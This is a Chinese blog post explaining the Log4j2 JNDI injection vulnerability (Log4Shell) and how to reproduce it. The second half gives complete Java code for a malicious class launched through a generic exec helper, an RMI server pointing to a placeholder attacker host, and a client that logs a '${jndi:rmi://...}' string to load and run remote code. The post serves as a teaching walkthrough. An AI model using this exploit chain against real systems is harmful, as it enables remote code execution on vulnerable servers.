Log4j2被爆高危漏洞,漏洞如何復現,原理是什么呢??
相信大家看到最多的就是這張圖片了,打了碼,還出來個計算器
Stringsource="${jndi:rmi://黑客IP:1099/test}";
logger.error(source);
上面這段代碼并不會像預想的打印出字符串,"${jndi:rmi://黑客ip:端口/test}"出來,如果這個日志是在自己的機器里打印的,就會在自己的機器里啟動計算器工具。
這現象的原理是什么呢?
最關鍵就是這兩條:
1、log4j2打印日志時,部分字符串會當成命令名服務被執行。
2、log4j2可以通過jndi:rmi下載遠程代碼,并在自己機器執行。
以下是詳細說明:
Apache Log4j 2 Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture. Important: Security Vulnerability CVE-2021-45046 The Log4j team has been made aware of a security vulnerability, CVE-2021-45046, that has been addressed in Log4j 2.12.2 for Java 7 and 2.16.0 for Java 8 and up. Summary: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack. Details It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.
以上是apache官網的一段說明,我們之前使用的log打印一般是log4j,然后就是logback當然springboot默認的也是logbac。因為在性能上logback優于log4j,從官網上看log4j2性能會優于log4j及logback,所以后面不少人升級成log4j2當然好像這幾個的作者都是同一個大神。
回到我們的問題為什么會出現這種問題,還是官網上說的log4j2提供了一些可以讓用戶查詢一些配置信息。
上圖可以看出log4j2通過 http://logger.info("${java:hw}")可以打印出服務器cpu信息出來而不是字符串“${java:hw}”,大家可以看到這個就類似sql注入,另外一個關鍵的就是log4j2此功能是通過java lookup實現的,也就是說黑客可以這樣操作:
從上圖可以看出,最關鍵的地方就在紅色部署,用戶機器會下載黑客的可執行文件并在用戶機器上執行就是這病毒了,最上面演示的demo就是黑客讓用戶執行了自己機器上打開了計算器工具。
如果大家想自己實驗一下可以參考以下的代碼,這個是引用了網上一篇博客:
原文鏈接:https://blog.csdn.net/lizz861109/article/details/121928916
當然這篇博客沒有實現 rmi://127.0.0.1:1099/xxxx 這個rmi服務代碼可參考:
p.s. 網上很多程序都不完整或打了碼
//step1:在黑客機新建HackerObj.java
import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;
/**
* @Author: hanko
* @Date: 2021-12-16 10:12
*/
public class HackerObj {
public static void exec(String cmd) throws IOException {
String sb = "";
BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
String lineStr;
while ((lineStr = inBr.readLine()) != null) {
sb += lineStr + "\n";
}
inBr.close();
inBr.close();
}
public Object getObjectInstance(Object obj, Name name,
Context context, HashMap<?, ?> environment) throws Exception {
return null;
}
static {
try {
System.out.println("黑客程序在此機器被執行了。");
exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
//step2:在黑客機把HackerObj.java編譯成HackerObj.class,然后開個nginx把HackerObj.class放進去讓它可以在網絡上訪問,如: http://黑客ip:8080/HackerObj.class
p.s. HackerObj.java創造時不要放在package里,放package里好像被用戶下載會提示notfindclass,有空再研究一下。
//step3: 創建個Server.java啟動黑客rmi服務
package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @Author: hanko
* @Date: 2021-12-16 9:18
*/
public class Server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
//http://黑客ip:8080/HackerObj.class
String url = "http://黑客ip:8080/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("HackerObj", "HackerObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("test", referenceWrapper);
}
}
//stpe4:在用戶機新建Client.java,
package com.jndi;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @Author: hanko
* @Date: 2021-12-16 10:27
*/
public class Client {
static Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:rmi://黑客ip:1099/test}");
}
}
// 在用戶機執行Client.java會發現“黑客程序在此機器被執行了。”
//在用戶機器打印出來了,同時用戶機器計算器工具也被打開了
//step5: log4j2 復現就是用以下代碼
logger.info("${java:vm}");
logger.error("${jndi:rmi://黑客ip:1099/test}");
總結
最關鍵就是這兩條:
1、log4j2打印日志時,部分字符串會當成命令名服務被執行。
2、log4j2可以通過jndi:rmi下載遠程代碼,并在自己機器執行。